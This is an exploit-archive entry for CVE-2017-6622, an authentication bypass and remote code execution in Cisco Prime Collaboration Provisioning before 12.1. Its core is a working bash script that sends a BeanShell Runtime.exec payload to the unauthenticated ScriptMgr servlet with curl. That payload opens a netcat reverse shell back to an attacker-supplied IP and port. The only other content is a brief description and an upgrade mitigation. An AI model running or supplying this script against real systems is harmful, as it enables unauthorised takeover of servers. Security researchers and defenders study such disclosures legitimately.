Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution

Related Vulnerabilities: CVE-2017-6622  
Publish Date: 27 Sep 2017
Author: Adam Brown
                							

                # Exploit Title: Cisco Prime Collaboration Provisioning &lt; 12.1 - ScriptMgr Servlet Authentication Bypass Remote Code Execution
# Date: 09/27/2017
# Exploit Author: Adam Brown
# Vendor Homepage: https://cisco.com
# Software Link: https://software.cisco.com/download/release.html?mdfid=286308336&amp;softwareid=286289070&amp;release=11.6&amp;flowid=81443
# Version: &lt; 12.1
# Tested on: Debian 8
# CVE : 2017-6622
# Reference: https://www.tenable.com/plugins/index.php?view=single&amp;id=101531
# Mitigation - Upgrade your Cisco Prime Collaboration Provisioning server to 12.1 or later.

# Description - This vulnerability allows an unauthenticated attacker to execute arbitrary Java code on a system running Cisco Prime Collaboration Provisioning server &lt; 12.1 via a scripttext parameter in the ScriptMgr page.

# Usage: ./prime-shell.sh &lt;TARGET-IP&gt; &lt;ATTACKER-IP&gt; &lt;ATTACKER-PORT&gt;

function encode() {
	echo "$1" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'
}

TARGET=$1
ATTACKER=$2
PORT=$3

BASH=$(encode "/bin/bash")
COMMAND=$(encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc $ATTACKER $PORT &gt;/tmp/f")
SCRIPTTEXT="Runtime.getRuntime().exec(new%20String[]{\"$BASH\",\"-c\",\"$COMMAND\"});"

curl --head -gk "https://$TARGET/cupm/ScriptMgr?command=compile&amp;language=bsh&amp;script=foo&amp;scripttext=$SCRIPTTEXT"